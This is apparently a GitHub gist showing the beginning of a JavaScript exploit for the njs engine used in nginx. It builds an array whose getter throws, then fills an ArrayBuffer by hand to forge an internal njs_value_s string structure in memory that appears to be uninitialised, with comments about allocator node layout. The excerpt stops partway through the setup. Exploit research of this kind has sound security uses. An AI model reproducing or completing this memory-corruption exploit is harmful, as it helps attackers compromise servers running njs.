Skip to content

Instantly share code, notes, and snippets.

View iamgweej's full-sized avatar

iamgweej iamgweej

View GitHub Profile
let uninitArr = null;
let buggy_arr = new Array(0x100);
Object.defineProperty(buggy_arr, 0, { get: (s) => { throw new Error(); } });
let arrBuf = new ArrayBuffer(0x378);
let u8Arr = new Uint8Array(arrBuf);
u8Arr[16 * 0x37 + 0] = 5; // njs_value_s.type = NJS_STRING
u8Arr[16 * 0x37 + 1] = 0xee; // njs_value_s.short_string.{size,length} = 14
// u8Arr[16 * 0x37 + 8] is njs_mp_block_t.node.left, (were not in debug :D)